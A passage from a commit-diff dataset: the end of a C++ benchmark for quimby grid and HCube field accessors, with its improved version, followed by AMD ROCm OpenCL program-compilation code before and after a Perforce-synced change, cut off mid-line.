Vector3f(x, y, z) * (size \/ bins)).length();\n\t\t\t\/\/ normalize\n\t\t\tvalue = (log10(value) - log10(rl)) \/ (log10(ru) - log10(rl));\n\t\t\ttga_write_float(tgafile, value);\n\t\t}\n\t}\n\n}\n\nint main(int argc, const char **argv) {\n\tif (argc < 3) {\n\t\tcout << \"benchmark <comaprofile.db> <bins>\" << endl;\n\t\treturn 1;\n\t}\n\n\tsize_t bins = atoi(argv[2]);\n\n\tcout << \"load coma db\" << endl;\n\tFileDatabase fdb;\n\tfdb.open(argv[1]);\n\n\tcout << \" particles: \" << fdb.getCount() << endl;\n\tcout << \" lower: \" << fdb.getLowerBounds() << endl;\n\tcout << \" upper: \" << fdb.getUpperBounds() << endl;\n\n\tVector3f origin = fdb.getLowerBounds();\n\n\tVector3f size3 = fdb.getUpperBounds() - fdb.getLowerBounds();\n\tfloat size = std::min(std::min(size3.x, size3.y), size3.z);\n\tcout << \" size: \" << size << endl;\n\n\n\tcout << \"create sample\" << endl;\n\tGrid<Vector3f> grid(bins, size);\n\n\tstringstream gridfilename;\n\tgridfilename << \"benchmark-\" << bins << \"-grid.grid\";\n\n\tif (check_file(gridfilename.str())) {\n\t\tgrid.load(gridfilename.str());\n\n\t} else {\n\t\tgrid.reset(Vector3f(0, 0, 0));\n\n\t\tcout << \"create visitor\" << endl;\n\t\tSimpleSamplingVisitor v(grid, fdb.getLowerBounds(), size);\n\t\tv.showProgress(true);\n\t\tcout << \"start sampling\" << endl;\n\t\tfdb.accept(v);\n\t\tcout << endl;\n\n\t\tgrid.save(gridfilename.str());\n\t}\n\n\tGridAccessor gridaccessor(fdb.getLowerBounds(), grid);\n\n\tcout << \"print slices\" << endl;\n\tfor (size_t z = 0; z < bins; z += bins \/ 16) {\n\t\tstringstream filename;\n\t\tfilename << \"benchmark-\" << bins << \"-slice-grid-\" << z << \".tga\";\n\t\tprint_slice(gridaccessor, bins, z, origin, size, filename.str());\n\t}\n\n\tsize_t maxdepth = 0;\n\n\twhile (pow(4, maxdepth + 1) < bins)\n\t\tmaxdepth++;\n\n\tstringstream hcubefilename;\n\thcubefilename << \"benchmark-\" << bins << \"-hcube.hc4\";\n\tif (!check_file(hcubefilename.str())) {\n\t\tcout << \"create hc4, maxdepth=\" << maxdepth << endl;\n\n\t\tHCubeFile4::create(grid, Vector3f(0, 0, 0), size, 0.1, 1e-19, maxdepth,\n\t\t\t\thcubefilename.str());\n\t}\n\n\tcout << \"open hc4\" << endl;\n\tHCubeFile4 hcf;\n\thcf.open(hcubefilename.str());\n\tconst HCube4 *hcube = hcf.hcube();\n\n\tHCubeAccessor<4> hcubeaccessor(origin, size, hcube);\n\n\tcout << \"print hcube slices\" << endl;\n\tfor (size_t z = 0; z < bins; z += bins \/ 16) {\n\t\tstringstream filename;\n\t\tfilename << \"benchmark-\" << bins << \"-slice-hcube-\" << z << \".tga\";\n\t\tprint_slice(hcubeaccessor, bins, z, origin, size, filename.str());\n\t}\n\n\n\tRandomAccessBenchmark rab(origin, size);\n\tRandomWalkBenchmark rwb(origin, size);\n\tAccessor nullaccessor;\n\n\/\/ToDo: THREADS\n\/\/ToDo: zorder\n\/\/ToDo: mmap grid\n\tsize_t max_threads = omp_get_max_threads();\n\tfor (size_t threads = 1; threads <= max_threads; threads++) {\n\t\tcout << \"threads: \" << threads << \"\/\" << max_threads << endl;\n\n\t\tcout << \" run null benchmark\" << endl;\n\t\tcout << \" \" << rab.run(nullaccessor, threads) << endl;\n\t\tcout << \" \" << rab.run(nullaccessor, threads) << endl;\n\n\t\tcout << \" run grid benchmark\" << endl;\n\t\tcout << \" \" << rab.run(gridaccessor, threads) << endl;\n\t\tcout << \" \" << rab.run(gridaccessor, threads) << endl;\n\n\t\tcout << \" run hcube benchmark\" << endl;\n\t\tcout << \" \" << rab.run(hcubeaccessor, threads) << endl;\n\t\tcout << \" \" << rab.run(hcubeaccessor, threads) << endl;\n\n\t\tcout << \"random walk\";\n\n\t\tcout << \" run null benchmark\" << endl;\n\t\tcout << \" \" << rwb.run(nullaccessor, threads) << endl;\n\t\tcout << \" \" << rwb.run(nullaccessor, threads) << endl;\n\n\t\tcout << \" run grid benchmark\" << endl;\n\t\tcout << \" \" << rwb.run(gridaccessor, threads) << endl;\n\t\tcout << \" \" << rwb.run(gridaccessor, threads) << endl;\n\n\t\tcout << \" run hcube benchmark\" << endl;\n\t\tcout << \" \" << rwb.run(hcubeaccessor, threads) << endl;\n\t\tcout << \" \" << rwb.run(hcubeaccessor, threads) << endl;\n\n\t}\n\n\tcout << \"done\" << endl;\n}\n<commit_msg>improve benchmark<commit_after>\/*\n * benchmark.cpp\n *\n * Created on: 04.05.2015\n * Author: gmueller\n *\/\n\n#include <iostream>\n#include <sstream>\n\n#include <sys\/stat.h>\n#include <sys\/time.h>\n#include <omp.h>\n\n#include <quimby\/Database.h>\n#include <quimby\/Grid.h>\n#include <quimby\/HCube.h>\n#include <quimby\/tga.h>\n\nusing namespace quimby;\nusing namespace std;\n\nbool check_file(const std::string filename) {\n\tstruct stat s;\n\tint r = stat(filename.c_str(), &s);\n\treturn ((r == 0) && S_ISREG(s.st_mode) && (s.st_size > 0));\n}\n\nclass Timer {\n\tstruct timeval start;\npublic:\n\tTimer() {\n\t\treset();\n\t}\n\n\tvoid reset() {\n\t\t::gettimeofday(&start, NULL);\n\t}\n\n\tsize_t microns() {\n\t\tstruct timeval now;\n\t\t::gettimeofday(&now, NULL);\n\t\tsize_t ms = (now.tv_sec - start.tv_sec) * 1000000;\n\t\tms += (now.tv_usec - start.tv_usec);\n\t\treturn ms;\n\n\t}\n\n\tsize_t millisecods() {\n\t\treturn microns() \/ 1000;\n\t}\n\n\tdouble seconds() {\n\t\tstruct timeval now;\n\t\t::gettimeofday(&now, NULL);\n\t\treturn double(now.tv_sec - start.tv_sec)\n\t\t\t\t+ double(now.tv_usec - start.tv_usec) \/ 1000000;\n\t}\n\n};\n\nclass Accessor {\npublic:\n\tvirtual Vector3f get(const Vector3f &pos) {\n\t\treturn Vector3f(0, 0, 0);\n\t}\n};\n\nclass GridAccessor: public Accessor {\n\tVector3f origin;\n\tGrid<Vector3f> &grid;\npublic:\n\tGridAccessor(const Vector3f &origin, Grid<Vector3f> &grid) :\n\t\t\torigin(origin), grid(grid) {\n\n\t}\n\n\tVector3f get(const Vector3f &pos) {\n\t\tVector3f r = pos - origin;\n\t\treturn grid.get(r.x, r.y, r.z);\n\t}\n};\n\ntemplate<size_t N>\nclass HCubeAccessor: public Accessor {\n\tVector3f origin;\n\tfloat size;\n\tconst HCube<N> *hcube;\npublic:\n\tHCubeAccessor(const Vector3f &origin, float size, const HCube<N> *hcube) :\n\t\t\torigin(origin), size(size), hcube(hcube) {\n\n\t}\n\n\tVector3f get(const Vector3f &pos) {\n\t\tVector3f r = pos - origin;\n\t\treturn hcube->getValue(r, size);\n\t}\n};\n\nclass RandomAccessBenchmark {\n\tVector3f origin;\n\tfloat size;\npublic:\n\tRandomAccessBenchmark(Vector3f origin, float size) :\n\t\t\torigin(origin), size(size) {\n\n\t}\n\tdouble run(Accessor &accessor, size_t threads = 1,\n\t\t\tsize_t samples = 10000000) {\n\t\tTimer timer;\n\n\t\tomp_set_num_threads(threads);\n\n#pragma omp parallel\n\t\t{\n\t\t\tint seed = 1202107158 + omp_get_thread_num() * 1999;\n\t\t\tstruct drand48_data drand_buf;\n\t\t\tsrand48_r(seed, &drand_buf);\n\n\t\t\tfloat s = size * (1 - 1e-6);\n#pragma omp parallel for\n\t\t\tfor (size_t i = 0; i < samples; i++) {\n\t\t\t\tdouble x, y, z;\n\t\t\t\tdrand48_r(&drand_buf, &x);\n\t\t\t\tdrand48_r(&drand_buf, &y);\n\t\t\t\tdrand48_r(&drand_buf, &z);\n\t\t\t\taccessor.get(origin + Vector3f(x, y, z) * s);\n\t\t\t}\n\n\t\t}\n\t\treturn timer.seconds();\n\t}\n\n};\n\nclass RandomWalkBenchmark {\n\tVector3f origin;\n\tfloat size;\npublic:\n\tRandomWalkBenchmark(Vector3f origin, float size) :\n\t\t\torigin(origin), size(size) {\n\n\t}\n\tdouble run(Accessor &accessor, size_t threads = 1,\n\t\t\tsize_t samples = 10000000) {\n\t\tTimer timer;\n\n\t\tomp_set_num_threads(threads);\n\n\t\tfloat step = size \/ 1000.;\n\t\tVector3f end = origin + Vector3f(size, size, size) * (1 - 1e-6);\n\n#pragma omp parallel\n\t\t{\n\t\t\tint seed = 1202107158 + omp_get_thread_num() * 1999;\n\t\t\tstruct drand48_data drand_buf;\n\t\t\tsrand48_r(seed, &drand_buf);\n\n\t\t\tVector3f pos = origin + Vector3f(size \/ 2., size \/ 2., size \/ 2.);\n\n#pragma omp parallel for\n\t\t\tfor (size_t i = 0; i < samples; i++) {\n\t\t\t\tdouble x, y, z;\n\t\t\t\tdrand48_r(&drand_buf, &x);\n\t\t\t\tdrand48_r(&drand_buf, &y);\n\t\t\t\tdrand48_r(&drand_buf, &z);\n\t\t\t\tpos += Vector3f(x-0.5, y-0.5, z-0.5) * step;\n\t\t\t\tpos.setUpper(origin);\n\t\t\t\tpos.setLower(end);\n\t\t\t\taccessor.get(pos);\n\t\t\t\t\/\/cout << pos << endl;\n\t\t\t}\n\n\t\t}\n\t\treturn timer.seconds();\n\t}\n\n};\n\nvoid print_slice(Accessor &accessor, size_t bins, size_t z,\n\t\tconst Vector3f &origin, float size, const string &filename) {\n\tconst float rl = 1e-15;\n\tconst float ru = 1e-5;\n\tofstream tgafile(filename.c_str());\n\ttga_write_header(tgafile, bins, bins);\n\tfor (size_t x = 0; x < bins; x++) {\n\t\tfor (size_t y = 0; y < bins; y++) {\n\t\t\tfloat value = accessor.get(\n\t\t\t\t\torigin + Vector3f(x, y, z) * (size \/ bins)).length();\n\t\t\t\/\/ normalize\n\t\t\tvalue = (log10(value) - log10(rl)) \/ (log10(ru) - log10(rl));\n\t\t\ttga_write_float(tgafile, value);\n\t\t}\n\t}\n\n}\n\nint main(int argc, const char **argv) {\n\tif (argc < 3) {\n\t\tcout << \"benchmark <comaprofile.db> <bins>\" << endl;\n\t\treturn 1;\n\t}\n\n\tsize_t bins = atoi(argv[2]);\n\n\tcout << \"load coma db\" << endl;\n\tFileDatabase fdb;\n\tfdb.open(argv[1]);\n\n\tcout << \" particles: \" << fdb.getCount() << endl;\n\tcout << \" lower: \" << fdb.getLowerBounds() << endl;\n\tcout << \" upper: \" << fdb.getUpperBounds() << endl;\n\n\tVector3f origin = fdb.getLowerBounds();\n\n\tVector3f size3 = fdb.getUpperBounds() - fdb.getLowerBounds();\n\tfloat size = std::min(std::min(size3.x, size3.y), size3.z);\n\tcout << \" size: \" << size << endl;\n\n\n\tcout << \"create sample\" << endl;\n\tGrid<Vector3f> grid(bins, size);\n\n\tstringstream gridfilename;\n\tgridfilename << \"benchmark-\" << bins << \"-grid.grid\";\n\n\tif (check_file(gridfilename.str())) {\n\t\tgrid.load(gridfilename.str());\n\n\t} else {\n\t\tgrid.reset(Vector3f(0, 0, 0));\n\n\t\tcout << \"create visitor\" << endl;\n\t\tSimpleSamplingVisitor v(grid, fdb.getLowerBounds(), size);\n\t\tv.showProgress(true);\n\t\tcout << \"start sampling\" << endl;\n\t\tfdb.accept(v);\n\t\tcout << endl;\n\n\t\tgrid.save(gridfilename.str());\n\t}\n\n\tGridAccessor gridaccessor(fdb.getLowerBounds(), grid);\n\n\tcout << \"print slices\" << endl;\n\tfor (size_t z = 0; z < bins; z += bins \/ 16) {\n\t\tstringstream filename;\n\t\tfilename << \"benchmark-\" << bins << \"-slice-grid-\" << z << \".tga\";\n\t\tprint_slice(gridaccessor, bins, z, origin, size, filename.str());\n\t}\n\n\tsize_t maxdepth = 0;\n\n\twhile (pow(4, maxdepth + 1) < bins)\n\t\tmaxdepth++;\n\n\tstringstream hcubefilename;\n\thcubefilename << \"benchmark-\" << bins << \"-hcube.hc4\";\n\tif (!check_file(hcubefilename.str())) {\n\t\tcout << \"create hc4, maxdepth=\" << maxdepth << endl;\n\n\t\tHCubeFile4::create(grid, Vector3f(0, 0, 0), size, 0.1, 1e-19, maxdepth,\n\t\t\t\thcubefilename.str());\n\t}\n\n\tcout << \"open hc4\" << endl;\n\tHCubeFile4 hcf;\n\thcf.open(hcubefilename.str());\n\tconst HCube4 *hcube = hcf.hcube();\n\n\tHCubeAccessor<4> hcubeaccessor(origin, size, hcube);\n\n\tcout << \"print hcube slices\" << endl;\n\tfor (size_t z = 0; z < bins; z += bins \/ 16) {\n\t\tstringstream filename;\n\t\tfilename << \"benchmark-\" << bins << \"-slice-hcube-\" << z << \".tga\";\n\t\tprint_slice(hcubeaccessor, bins, z, origin, size, filename.str());\n\t}\n\n\n\tRandomAccessBenchmark rab(origin, size);\n\tRandomWalkBenchmark rwb(origin, size);\n\tAccessor nullaccessor;\n\n\/\/ToDo: zorder\n\/\/ToDo: mmap grid\n\tcout << \"accessor benchmark threads time\" << endl;\n\tconst size_t samples = 3;\n\tsize_t max_threads = omp_get_max_threads();\n\tfor (size_t threads = 1; threads <= max_threads; threads++) {\n\n\t\tfor (size_t i = 0; i < samples; i++)\n\t\t\tcout << \"0 0 \" << threads << \" \" << rab.run(nullaccessor, threads) << endl;\n\n\t\tfor (size_t i = 0; i < samples; i++)\n\t\t\tcout << \"1 0 \" << threads << \" \" << rab.run(gridaccessor, threads) << endl;\n\n\t\tfor (size_t i = 0; i < samples; i++)\n\t\t\tcout << \"2 0 \" << threads << \" \" << rab.run(hcubeaccessor, threads) << endl;\n\n\t\tfor (size_t i = 0; i < samples; i++)\n\t\t\tcout << \"0 1 \" << threads << \" \" << rwb.run(nullaccessor, threads) << endl;\n\n\t\tfor (size_t i = 0; i < samples; i++)\n\t\t\tcout << \"1 1 \" << threads << \" \" << rwb.run(gridaccessor, threads) << endl;\n\n\t\tfor (size_t i = 0; i < samples; i++)\n\t\t\tcout << \"2 1 \" << threads << \" \" << rwb.run(hcubeaccessor, threads) << endl;\n\n\t}\n\n\tcout << \"done\" << endl;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2008 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n#ifndef WITHOUT_HSA_BACKEND\n\n#include <string>\n#include <sstream>\n#include <fstream>\n#include <iostream>\n\n#include \"os\/os.hpp\"\n#include \"rocdevice.hpp\"\n#include \"rocprogram.hpp\"\n#if defined(WITH_LIGHTNING_COMPILER)\n#include \"opencl1.2-c.amdgcn.inc\"\n#include \"opencl2.0-c.amdgcn.inc\"\n#else \/\/ !defined(WITH_LIGHTNING_COMPILER)\n#include \"roccompilerlib.hpp\"\n#endif \/\/ !defined(WITH_LIGHTNING_COMPILER)\n#include \"utils\/options.hpp\"\n#include <cstdio>\n\n#if defined(ATI_OS_LINUX)\n#include <dlfcn.h>\n#include <libgen.h>\n#endif \/\/ defined(ATI_OS_LINUX)\n\n#if defined(WITH_LIGHTNING_COMPILER)\nstatic std::string llvmBin_(amd::Os::getEnvironment(\"LLVM_BIN\"));\n#endif \/\/ defined(WITH_LIGHTNING_COMPILER)\n\n\/\/CLC_IN_PROCESS_CHANGE\nextern int openclFrontEnd(const char* cmdline, std::string*, std::string* typeInfo = NULL);\n\nnamespace roc {\n\n\/* Temporary log function for the compiler library *\/\nstatic void\nlogFunction(const char* msg, size_t size)\n{\n std::cout<< \"Compiler Log: \" << msg << std::endl;\n}\n\nstatic int programsCount = 0;\n\n#if defined(WITH_LIGHTNING_COMPILER)\nbool\nHSAILProgram::compileImpl_LC(\n const std::string& sourceCode,\n const std::vector<const std::string*>& headers,\n const char** headerIncludeNames,\n amd::option::Options* options)\n{\n using namespace amd::opencl_driver;\n std::auto_ptr<Compiler> C(newCompilerInstance());\n std::vector<Data*> inputs;\n\n Data* input = C->NewBufferReference(DT_CL,\n sourceCode.c_str(), sourceCode.length());\n if (input == NULL) {\n buildLog_ += \"Error while creating data from source code\";\n return false;\n }\n\n inputs.push_back(input);\n\n \/\/Find the temp folder for the OS\n std::string tempFolder = amd::Os::getEnvironment(\"TEMP\");\n if (tempFolder.empty()) {\n tempFolder = amd::Os::getEnvironment(\"TMP\");\n if (tempFolder.empty()) {\n tempFolder = WINDOWS_SWITCH(\".\",\"\/tmp\");;\n }\n }\n \/\/Iterate through each source code and dump it into tmp\n std::fstream f;\n std::vector<std::string> headerFileNames(headers.size());\n std::vector<std::string> newDirs;\n for (size_t i = 0; i < headers.size(); ++i) {\n std::string headerPath = tempFolder;\n std::string headerIncludeName(headerIncludeNames[i]);\n \/\/ replace \/ in path with current os's file separator\n if ( amd::Os::fileSeparator() != '\/') {\n for (std::string::iterator it = headerIncludeName.begin(),\n end = headerIncludeName.end();\n it != end;\n ++it) {\n if (*it == '\/') *it = amd::Os::fileSeparator();\n }\n }\n size_t pos = headerIncludeName.rfind(amd::Os::fileSeparator());\n if (pos != std::string::npos) {\n headerPath += amd::Os::fileSeparator();\n headerPath += headerIncludeName.substr(0, pos);\n headerIncludeName = headerIncludeName.substr(pos+1);\n }\n if (!amd::Os::pathExists(headerPath)) {\n bool ret = amd::Os::createPath(headerPath);\n assert(ret && \"failed creating path!\");\n newDirs.push_back(headerPath);\n }\n std::string headerFullName\n = headerPath + amd::Os::fileSeparator() + headerIncludeName;\n headerFileNames[i] = headerFullName;\n f.open(headerFullName.c_str(), std::fstream::out);\n \/\/Should we allow asserts\n assert(!f.fail() && \"failed creating header file!\");\n f.write(headers[i]->c_str(), headers[i]->length());\n f.close();\n\n Data* inc = C->NewFileReference(DT_CL_HEADER, headerFileNames[i]);\n if (inc == NULL) {\n buildLog_ += \"Error while creating data from headers\";\n return false;\n }\n inputs.push_back(inc);\n }\n\n\n \/\/Set the options for the compiler\n std::ostringstream ostrstr;\n std::copy(options->clangOptions.begin(), options->clangOptions.end(),\n std::ostream_iterator<std::string>(ostrstr, \" \"));\n std::string driverOptions(ostrstr.str());\n\n \/\/Set the include path for the temp folder that contains the includes\n if(!headers.empty()) {\n driverOptions.append(\" -I\");\n driverOptions.append(tempFolder);\n }\n\n const char* xLang = options->oVariables->XLang;\n if (xLang != NULL && strcmp(xLang, \"cl\")) {\n buildLog_ += \"Unsupported OpenCL language.\\n\";\n }\n\n \/\/FIXME_Nikolay: the program manager should be setting the language\n \/\/driverOptions.append(\" -x cl\");\n\n driverOptions.append(\" -cl-std=\").append(options->oVariables->CLStd);\n\n \/\/ Set the -O#\n std::ostringstream optLevel;\n optLevel << \" -O\" << options->oVariables->OptLevel;\n driverOptions.append(optLevel.str());\n\n \/\/FIXME_lmoriche: has the CL option been validated?\n uint clcStd = (options->oVariables->CLStd[2] - '0') * 100\n + (options->oVariables->CLStd[4] - '0') * 10;\n\n driverOptions.append(preprocessorOptions(options));\n\n Buffer* output = C->NewBuffer(DT_LLVM_BC);\n if (output == NULL) {\n buildLog_ += \"Error while creating buffer for the LLVM bitcode\";\n return false;\n }\n\n driverOptions.append(options->llvmOptions);\n\n \/\/ Set fp32-denormals and fp64-denormals\n bool fp32Denormals = !options->oVariables->DenormsAreZero\n && dev().deviceInfo().gfxipVersion_ >= 900;\n\n driverOptions.append(\" -Xclang -target-feature -Xclang \");\n driverOptions.append(fp32Denormals ? \"+\" : \"-\")\n .append(\"fp32-denormals,+fp64-denormals\");\n\n if (options->isDumpFlagSet(amd::option::DUMP_CL)) {\n std::ofstream f(options->getDumpFileName(\".cl\").c_str(), std::ios::trunc);\n if(f.is_open()) {\n f << \"\/* Compiler options:\\n\" \\\n \"-c -emit-llvm -target amdgcn-amd-amdhsa-opencl -x cl\" \\\n \" -include opencl-c.h \" << driverOptions\n << \"\\n*\/\\n\\n\" << sourceCode;\n } else {\n buildLog_ +=\n \"Warning: opening the file to dump the OpenCL source failed.\\n\";\n }\n }\n\n std::pair<const void*, size_t> hdr;\n switch(clcStd) {\n case 120:\n hdr = std::make_pair(opencl1_2_c_amdgcn, opencl1_2_c_amdgcn_size);\n break;\n case 200:\n hdr = std::make_pair(opencl2_0_c_amdgcn, opencl2_0_c_amdgcn_size);\n break;\n default:\n buildLog_ += \"Unsupported requested OpenCL C version (-cl-std).\\n\";\n return false;\n }\n\n File* pch = C->NewTempFile(DT_CL_HEADER);\n if (pch == NULL || !pch->WriteData((const char*) hdr.first, hdr.second)) {\n buildLog_ += \"Error while opening the opencl-c header \";\n return false;\n }\n\n driverOptions.append(\" -include-pch \" + pch->Name());\n driverOptions.append(\" -Xclang -fno-validate-pch\");\n\n \/\/ Tokenize the options string into a vector of strings\n std::istringstream istrstr(driverOptions);\n std::istream_iterator<std::string> sit(istrstr), end;\n std::vector<std::string> params(sit, end);\n\n \/\/ Compile source to IR\n bool ret = C->CompileToLLVMBitcode(inputs, output, params);\n buildLog_ += C->Output();\n if (!ret) {\n buildLog_ += \"Error: Failed to compile opencl source (from CL to LLVM IR).\\n\";\n return false;\n }\n\n llvmBinary_.assign(output->Buf().data(), output->Size());\n elfSectionType_ = amd::OclElf::LLVMIR;\n\n if (options->isDumpFlagSet(amd::option::DUMP_BC_ORIGINAL)) {\n std::ofstream f(options->getDumpFileName(\"_original.bc\").c_str(), std::ios::trunc);\n if(f.is_open()) {\n f.write(llvmBinary_.data(), llvmBinary_.size());\n } else {\n buildLog_ +=\n \"Warning: opening the file to dump the compiled IR failed.\\n\";\n }\n }\n\n if (clBinary()->saveSOURCE()) {\n clBinary()->elfOut()->addSection(\n amd::OclElf::SOURCE, sourceCode.data(), sourceCode.size());\n }\n if (clBinary()->saveLLVMIR()) {\n clBinary()->elfOut()->addSection(\n amd::OclElf::LLVMIR, llvmBinary_.data(), llvmBinary_.size(), false);\n \/\/ store the original compile options\n clBinary()->storeCompileOptions(compileOptions_);\n }\n return true;\n}\n#endif \/\/ defined(WITH_LIGHTNING_COMPILER)\n\nbool\nHSAILProgram::compileImpl(\n const std::string& sourceCode,\n const std::vector<const std::string*>& headers,\n const char** headerIncludeNames,\n amd::option::Options* options)\n{\n#if defined(WITH_LIGHTNING_COMPILER)\n return compileImpl_LC(sourceCode, headers, headerIncludeNames, options);\n#else \/\/ !defined(WITH_LIGHTNING_COMPILER)\n acl_error errorCode;\n aclTargetInfo target;\n\n target = g_complibApi._aclGetTargetInfo(LP64_SWITCH(\"hsail\",\"hsail64\"),\n dev().deviceInfo().complibTarget_, &errorCode);\n\n \/\/end if asic info is ready\n \/\/ We dump the source code for each program (param: headers)\n \/\/ into their filenames (headerIncludeNames) into the TEMP\n \/\/ folder specific to the OS and add the include path while\n \/\/ compiling\n\n \/\/Find the temp folder for the OS\n std::string tempFolder = amd::Os::getEnvironment(\"TEMP\");\n if (tempFolder.empty()) {\n tempFolder = amd::Os::getEnvironment(\"TMP\");\n if (tempFolder.empty()) {\n tempFolder = WINDOWS_SWITCH(\".\",\"\/tmp\");;\n }\n }\n \/\/Iterate through each source code and dump it into tmp\n std::fstream f;\n std::vector<std::string> headerFileNames(headers.size());\n std::vector<std::string> newDirs;\n for (size_t i = 0; i < headers.size(); ++i) {\n std::string headerPath = tempFolder;\n std::string headerIncludeName(headerIncludeNames[i]);\n \/\/ replace \/ in path with current os's file separator\n if ( amd::Os::fileSeparator() != '\/') {\n for (std::string::iterator it = headerIncludeName.begin(),\n end = headerIncludeName.end();\n it != end;\n ++it) {\n if (*it == '\/') *it = amd::Os::fileSeparator();\n }\n }\n size_t pos = headerIncludeName.rfind(amd::Os::fileSeparator());\n if (pos != std::string::npos) {\n headerPath += amd::Os::fileSeparator();\n headerPath += headerIncludeName.substr(0, pos);\n headerIncludeName = headerIncludeName.substr(pos+1);\n }\n if (!amd::Os::pathExists(headerPath)) {\n bool ret = amd::Os::createPath(headerPath);\n assert(ret && \"failed creating path!\");\n newDirs.push_back(headerPath);\n }\n std::string headerFullName\n = headerPath + amd::Os::fileSeparator() + headerIncludeName;\n headerFileNames[i] = headerFullName;\n f.open(headerFullName.c_str(), std::fstream::out);\n \/\/Should we allow asserts\n assert(!f.fail() && \"failed creating header file!\");\n f.write(headers[i]->c_str(), headers[i]->length());\n f.close();\n }\n\n \/\/Create Binary\n binaryElf_ = g_complibApi._aclBinaryInit(sizeof(aclBinary),\n &target,\n &binOpts_,\n &errorCode);\n\n if( errorCode!=ACL_SUCCESS ) {\n buildLog_ += \"Error while compiling opencl source:\\\n aclBinary init failure \\n\";\n LogWarning(\"aclBinaryInit failed\");\n return false;\n }\n\n \/\/Insert opencl into binary\n errorCode = g_complibApi._aclInsertSection(device().compiler(),\n binaryElf_,\n sourceCode.c_str(),\n strlen(sourceCode.c_str()),\n aclSOURCE);\n\n if ( errorCode != ACL_SUCCESS ) {\n buildLog_ += \"Error while converting to BRIG: \\\n Inserting openCl Source \\n\";\n }\n\n \/\/Set the options for the compiler\n \/\/Set the include path for the temp folder that contains the includes\n if(!headers.empty()) {\n this->compileOptions_.append(\" -I\");\n this->compileOptions_.append(tempFolder);\n }\n\n \/\/Add only for CL2.0 and later\n if (options->oVariables->CLStd[2] >= '2') {\n std::stringstream opts;\n opts << \" -D\" << \"CL_DEVICE_MAX_GLOBAL_VARIABLE_SIZE=\"\n << device().info().maxGlobalVariableSize_;\n compileOptions_.append(opts.str());\n }\n\n \/\/Compile source to IR\n this->compileOptions_.append(preprocessorOptions(options));\n this->compileOptions_.append(codegenOptions(options));\n\n errorCode = g_complibApi._aclCompile(device().compiler(),\n binaryElf_,\n \/\/\"-Wf,--support_all_extensions\",\n this->compileOptions_.c_str(),\n ACL_TYPE_OPENCL,\n ACL_TYPE_LLVMIR_BINARY,\n logFunction);\n buildLog_ += g_complibApi._aclGetCompilerLog(device().compiler());\n if( errorCode!=ACL_SUCCESS ) {\n LogWarning(\"aclCompile failed\");\n buildLog_ += \"Error while compiling \\\n opencl source: Compiling CL to IR\";\n return false;\n }\n \/\/ Save the binary in the interface class\n saveBinaryAndSetType(TYPE_COMPILED);\n return true;\n#endif \/\/ !defined(WITH_LIGHTNING_COMPILER)\n}\n\n#if defined(WITH_LIGHTNING_COMPILER)\n#if defined(ATI_OS_LINUX)\nstatic pthread_once_t once = PTHREAD_ONCE_INIT;\n\nstatic void\ncheckLLVM_BIN()\n{\n if (llvmBin_.empty()) {\n Dl_info info;\n if (dladdr((const void*)&amd::Device::init, &info)) {\n llvmBin_ = dirname(strdup(info.dli_fname));\n size_t pos = llvmBin_.rfind(\"lib\");\n if (pos != std::string::npos) {\n llvmBin_.replace(pos, 3, \"bin\");\n }\n }\n }\n#if defined(DEBUG)\n std::string clangExe(llvmBin_ + \"\/clang\");\n struct stat buf;\n if (stat(clangExe.c_str(), &buf)) {\n std::string msg(\"Could not find the Clang binary in \" + llvmBin_);\n LogWarning(msg.c_str());\n }\n#endif \/\/ defined(DEBUG)\n}\n#endif \/\/ defined(ATI_OS_LINUX)\n\nstd::auto_ptr<amd::opencl_driver::Compiler>\nHSAILProgram::newCompilerInstance()\n{\n#if defined(ATI_OS_LINUX)\n pthread_once(&once, checkLLVM_BIN);\n#endif \/\/ defined(ATI_OS_LINUX)\n return std::auto_ptr<amd::opencl_driver::Compiler>(\n amd::opencl_driver::CompilerFactory().CreateAMDGPUCompiler(llvmBin_));\n}\n#endif \/\/ defined(WITH_LIGHTNING_COMPILER)\n\n} \/\/ namespace roc\n#endif \/\/ WITHOUT_GPU_BACKEND\n<commit_msg>P4 to Git Change 1323311 by lmoriche@lmoriche_opencl_dev on 2016\/10\/06 13:26:29<commit_after>\/\/\n\/\/ Copyright (c) 2008 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n#ifndef WITHOUT_HSA_BACKEND\n\n#include <string>\n#include <sstream>\n#include <fstream>\n#include <iostream>\n\n#include \"os\/os.hpp\"\n#include \"rocdevice.hpp\"\n#include \"rocprogram.hpp\"\n#if defined(WITH_LIGHTNING_COMPILER)\n#include \"opencl1.2-c.amdgcn.inc\"\n#include \"opencl2.0-c.amdgcn.inc\"\n#else \/\/ !defined(WITH_LIGHTNING_COMPILER)\n#include \"roccompilerlib.hpp\"\n#endif \/\/ !defined(WITH_LIGHTNING_COMPILER)\n#include \"utils\/options.hpp\"\n#include <cstdio>\n\n#if defined(ATI_OS_LINUX)\n#include <dlfcn.h>\n#include <libgen.h>\n#endif \/\/ defined(ATI_OS_LINUX)\n\n#if defined(WITH_LIGHTNING_COMPILER)\nstatic std::string llvmBin_(amd::Os::getEnvironment(\"LLVM_BIN\"));\n#endif \/\/ defined(WITH_LIGHTNING_COMPILER)\n\n\/\/CLC_IN_PROCESS_CHANGE\nextern int openclFrontEnd(const char* cmdline, std::string*, std::string* typeInfo = NULL);\n\nnamespace roc {\n\n\/* Temporary log function for the compiler library *\/\nstatic void\nlogFunction(const char* msg, size_t size)\n{\n std::cout<< \"Compiler Log: \" << msg << std::endl;\n}\n\nstatic int programsCount = 0;\n\n#if defined(WITH_LIGHTNING_COMPILER)\nbool\nHSAILProgram::compileImpl_LC(\n const std::string& sourceCode,\n const std::vector<const std::string*>& headers,\n const char** headerIncludeNames,\n amd::option::Options* options)\n{\n using namespace amd::opencl_driver;\n std::auto_ptr<Compiler> C(newCompilerInstance());\n std::vector<Data*> inputs;\n\n Data* input = C->NewBufferReference(DT_CL,\n sourceCode.c_str(), sourceCode.length());\n if (input == NULL) {\n buildLog_ += \"Error while creating data from source code\";\n return false;\n }\n\n inputs.push_back(input);\n\n Buffer* output = C->NewBuffer(DT_LLVM_BC);\n if (output == NULL) {\n buildLog_ += \"Error while creating buffer for the LLVM bitcode\";\n return false;\n }\n\n \/\/Set the options for the compiler\n std::ostringstream ostrstr;\n std::copy(options->clangOptions.begin(), options->clangOptions.end(),\n std::ostream_iterator<std::string>(ostrstr, \" \"));\n\n ostrstr << \" -m\" << sizeof(void*) * 8;\n std::string driverOptions(ostrstr.str());\n\n const char* 